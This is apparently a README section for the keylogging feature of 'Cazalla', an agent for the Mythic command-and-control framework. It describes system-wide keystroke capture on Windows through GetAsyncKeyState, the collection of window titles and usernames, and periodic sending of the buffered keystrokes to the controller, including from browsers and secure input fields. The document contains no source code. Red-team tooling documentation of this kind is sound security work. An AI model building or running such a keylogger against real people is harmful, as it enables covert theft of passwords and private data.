## ⌨️ Keylogging Support
|
||||
|
||||
Cazalla supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature, following [Mythic's Keylog specification](https://docs.mythic-c2.net/customizing/hooking-features/keylog).
|
||||
|
||||
### Features
|
||||
|
||||
- **Window-Aware Keylogging**: Captures keystrokes along with the active window title
|
||||
- **User Context**: Includes the username in each keylog entry
|
||||
- **Process-Agnostic**: Works with any application (Notepad, browsers, terminals, etc.)
|
||||
- **Automatic Buffering**: Buffers keystrokes and sends them periodically (every 3 seconds or 128 bytes)
|
||||
- **Background Thread**: Runs as a separate thread, allowing other commands to execute while keylogging
|
||||
- **API Call Artifacts**: Automatically reports API Call artifacts when keylogging starts
|
||||
|
||||
### How It Works
|
||||
|
||||
1. **Start Keylogging**: When you execute `keylog_start`, the agent:
|
||||
- Starts a background thread that monitors keyboard input
|
||||
- Uses `GetAsyncKeyState` to detect key presses
|
||||
- Captures the active window title using `GetForegroundWindow` and `GetWindowTextA`
|
||||
- Captures the current username using `GetUserNameA`
|
||||
- Buffers keystrokes and sends them every 3 seconds or when buffer reaches 128 bytes
|
||||
|
||||
2. **Keylog Transmission**: The keylogger periodically sends captured keystrokes:
|
||||
- Each transmission includes: user, window title, and captured keystrokes
|
||||
- Format follows Mythic's keylog specification
|
||||
- Keylogs appear in Mythic's Keylogs UI automatically
|
||||
|
||||
3. **Stop Keylogging**: When you execute `keylog_stop`, the agent:
|
||||
- Stops the background keylogging thread
|
||||
- Sends a final acknowledgment response
|
||||
|
||||
### Using the Keylog Commands
|
||||
|
||||
```bash
|
||||
# Start keylogging
|
||||
keylog_start
|
||||
|
||||
# Stop keylogging
|
||||
keylog_stop
|
||||
```
|
||||
|
||||
### Keylog Process
|
||||
|
||||
1. **Start**: Agent creates a background thread that:
|
||||
- Polls keyboard state every 20ms
|
||||
- Detects key presses using `GetAsyncKeyState`
|
||||
- Captures printable ASCII characters and special keys (Backspace, Tab, Enter)
|
||||
- Gets the active window title and username on each send cycle
|
||||
|
||||
2. **Buffer & Send**: Keystrokes are buffered and sent when:
|
||||
- Buffer reaches 128 bytes, OR
|
||||
- 3 seconds have passed since last send (if buffer has data)
|
||||
|
||||
3. **Format**: Each keylog entry contains:
|
||||
- `user`: Current Windows username (e.g., "localuser")
|
||||
- `window_title`: Title of the active window (e.g., "*hello, this is a test - Notepad")
|
||||
- `keystrokes`: Actual captured keystrokes
|
||||
|
||||
4. **Stop**: Background thread is terminated gracefully
|
||||
|
||||
### Example Keylog Flow
|
||||
|
||||
```
|
||||
Agent: [keylog] Started
|
||||
# User types in Notepad...
|
||||
Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad'
|
||||
Mythic: Keylog appears in Keylogs tab
|
||||
# More typing...
|
||||
Agent: [KEYLOG] Detectado keylog para user='localuser', window='*hello, this is a test - Notepad'
|
||||
Mythic: Additional keystrokes added to keylog entry
|
||||
Agent: [keylog] Stopped
|
||||
```
|
||||
|
||||
### Universal Process Support
|
||||
|
||||
The keylogger works with **any Windows application** because it:
|
||||
- Uses `GetForegroundWindow()` to get the currently active window
|
||||
- Captures keystrokes system-wide using `GetAsyncKeyState`
|
||||
- Doesn't require injection into specific processes
|
||||
|
||||
**This means it works for:**
|
||||
- ✅ Text editors (Notepad, VS Code, etc.)
|
||||
- ✅ Browsers (Chrome, Firefox, Edge)
|
||||
- ✅ Terminal windows (cmd.exe, PowerShell)
|
||||
- ✅ Any application that receives keyboard input
|
||||
- ✅ Secure input fields (though characters may appear as visible in the buffer)
|
||||
|
||||
### Implementation Details
|
||||
|
||||
The keylogging system uses:
|
||||
- **Polling Method**: `GetAsyncKeyState` to detect key presses (low-level approach)
|
||||
- **Window Detection**: `GetForegroundWindow` + `GetWindowTextA` to identify active windows
|
||||
- **User Detection**: `GetUserNameA` to get current Windows username
|
||||
- **Thread Safety**: Runs in a separate thread, allowing concurrent command execution
|
||||
- **Buffer Management**: 2048-byte buffer to store keystrokes before transmission
|
||||
- **Artifact Reporting**: Automatically reports "API Call" artifact when keylogging starts
|
||||
|
||||
### Error Handling
|
||||
|
||||
The keylog commands handle various scenarios:
|
||||
- **Already Running**: If keylogger is already active, `keylog_start` returns success without creating duplicate threads
|
||||
- **Not Running**: If keylogger is not running, `keylog_stop` returns success (no-op)
|
||||
- **Thread Cleanup**: Thread is properly terminated and handles are closed when stopping
|
||||
|
||||
### Viewing Keylogs
|
||||
|
||||
1. Navigate to your callback in the Mythic UI
|
||||
2. Click the **KEYLOGS** tab in the top navigation
|
||||
3. View all captured keystrokes grouped by:
|
||||
- Task and callback
|
||||
- User and host
|
||||
- Window title
|
||||
- Timestamp
|
||||
4. Use "View Window Together" to see all keystrokes from a specific window session
|
||||
5. Filter keylogs by user, window, or time range
|
||||
|
||||
### Artifact Support
|
||||
|
||||
The `keylog_start` command automatically reports an **API Call** artifact:
|
||||
- **Type**: API Call
|
||||
- **Value**: "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA"
|
||||
- **Purpose**: Tracks that keylogging APIs were used on the system
|
||||
|
||||
This artifact appears in Mythic's Artifacts page when keylogging is started.
|
||||
|
||||
